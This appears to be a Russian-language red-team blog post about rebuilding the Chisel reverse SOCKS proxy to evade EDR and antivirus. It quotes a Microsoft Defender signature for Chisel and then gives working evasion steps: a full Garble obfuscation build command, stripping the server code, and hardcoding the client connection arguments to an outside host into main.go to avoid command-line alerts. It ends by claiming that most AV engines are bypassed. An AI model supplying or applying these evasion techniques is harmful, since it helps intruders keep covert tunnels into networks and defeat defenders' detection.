Привет!

Все знают, что такое reverse socks-прокси. С его помощью можно закрепляться, сканировать, пивотиться, в общем, такой инструмент критически важно иметь под рукой во время пентестов и редтимов. И будет совсем хорошо, если этот инструмент не убивается EDR’ами. Поэтому я, после 🔗 поста с метерпретером, снова заморочился (но уже не так сильно) и решил посмотреть на 🔗Chisel. Цель — Получить сборку чизела с обходом EDR и сохранением функционала. Поехали!

Дисклеймер

Существуют нормативно-правовые акты, запрещающие создание, распространение, копирование и иную активность, связанную с вредоносным ПО с целями получения несанкционированного доступа, и т.д. и т.п. Данный пост нацелен на повышение осведомленности и углубленного понимания принципов работы СЗИ.

Определяем существующие правила сигнатурного анализа:

  1. Публичные правила yara (Например, 🔗это) представляют собой простую проверку файла на заданные строки, преимущественно, из документации (chisel --help).
  2. Правила MS Defender чуть поинтереснее, но все равно проверяют только строки:
 1rule HackTool_Win32_Chisel_A_2147778169_0
 2{
 3    meta:
 4        author = "defender2yara"
 5        detection_name = "HackTool:Win32/Chisel.A"
 6        threat_id = "2147778169"
 7        type = "HackTool"
 8        platform = "Win32: Windows 32-bit platform"
 9        family = "Chisel"
10        severity = "High"
11        signature_type = "SIGNATURE_TYPE_PEHSTR_EXT"
12        threshold = "3"
13        strings_accuracy = "Low"
14    strings:
15        $x_2_1 = {63 68 69 73 65 6c 2d 76 ?? 2d 63 6c 69 65 6e 74}  //**chisel-v...**
16        $x_1_2 = "chiselclientclosed" ascii //weight: 1
17        $x_1_3 = "chisel-chunkedcommand" ascii //weight: 1
18        $x_1_4 = "sendchisel" ascii //weight: 1
19        $x_1_5 = "CHISEL_KEY" ascii //weight: 1
20        $x_1_6 = "chisel.pid" ascii //weight: 1
21    condition:
22        (filesize < 20MB) and
23        (
24            ((3 of ($x_1_*))) or
25            ((1 of ($x_2_*) and 1 of ($x_1_*))) or
26            (all of ($x*))
27        )
28}

Делаем выводы

  1. Как мы поняли из сигнатур, проверяются только сроки, связанные с чизелом, следовательно, их необходимо скрыть. Сделать это можно несколькими способами:
  • Удаление. Самый простой и действенный способ. Берем все ненужные строки, такие как информация о флагах, дебаге, ошибках, и удаляем. Главная проблема и сложность заключается в том, что не все строки можно удалить без изменения логики работы программы. Примеры ненужных строк 🔗тут, 🔗тут и 🔗тут.
  • Обфускация. В Golang комьюнити нашелся человек, который посмотрел на тулсет языка Go и увидел, что даже со всеми соответствующими флагами конечная сборка содержит большое количество отладочной информации. Ему это не понравилось, и он, используя особенности тулсета языка, написал программу, удаляющую эту информацию, а еще добавил возможность обфускации кода и строк, и назвал эту программу 🔗 Garble. Её мы и можем использовать для обфускации строк, а еще и на всякий случай и кода. Правда, конечный размер сборки увеличивается в 2 раза, но для нас это не критично. Вот пример её использования:
1env CGO_ENABLED=1 GOOS=windows GOARCH=amd64 garble  \ # Пепеменные окружения, используются в go build, их нужно передавать и в garbme для указания платформы и ОС
2 -tiny \        # Сжимает конечный размер сборки
3 -literals \    # Обфусцирует строки
4 -seed random \ # Создатель Garble (mvdan) предусмотрел деобфускацию на случай дебага. Для этого генерируется seed, который нужно будет указать при отладке. В нашем случае это не нужно, поэтому ставим random
5 build \        # аргумент из 
6 -trimpath \    # изменяет полный путь до корня исходников на относительный
7 -ldflags \
8 "-s -w  -buildid= -X github.com/jpillora/chisel/share.BuildVersion=definetlynotachisel" \ # Флаги для линкера (go tool link). Тут указаны strip (удаляет отладочные символы), подистема Windows (чтобы не было консоли при запуске процесса), и переменная с измененной версией chisel (Её можно удалить, но я не уверен, как это повлияет на работу чизела)
9  -o ./notachisel.exe ./
  1. Помимо обфускации строк есть еще одна важная деталь с исходниках чизела — и клиент и сервер содержатся в одном исполняемом файле. Это хорошо с точки зрения развертывания приложения, а вот с точки зрения избыточности кода и потенциальные места сигнатур — плохо, но легко поправимо. Нужно просто убрать лишнее 🔗вот тут:
1<SNIP>
2	//	switch subcmd {
3	//	case "server":
4	//		server(args)
5	case "client":
6		client(args)
7<SNIP>

Так как компилятор Go не позволяет оставлять неиспользованные переменные, нужно также будет почистить всё лишнее, это тоже не сложно. Теперь сборка будет работать только в режиме клиента.

  1. И еще одна важная вещь, очень любимая сотрудниками SOC и песочницами — аргументы при запуске процесса. Понятно, что будет, если мы запустим процесс chisel.exe client 1.2.3.4:8080 R:socks. Стриггерится либо EDR, либо корреляция в SIEM. Самый ленивый способ избежать алерта — положить эти параметры прямо в исходники, а именно в main.go:
 1func main() {
 2	<SNIP>
 3	
 4	if *version || *v {
 5		fmt.Println(chshare.BuildVersion)
 6		os.Exit(0)
 7	}
 8
 9	args := flag.Args()
10	
11	// Вот наши аргументы
12	args = []string{"client", "1.2.3.4:8080", "R:socks"}
13
14	subcmd := ""
15	if len(args) > 0 {
16		subcmd = args[0]
17		args = args[1:]
18	}
19	
20	<SNIP>
21}

И с помощью данных нехитрых манипуляций получилось обойти большинство AV.

Проверка сборки на Virus Total

Проверка сборки на Virus Total

Полезные ссылки


Автор: 🔗@pyfffe

Наш Telegram канал: 🔗REDTalk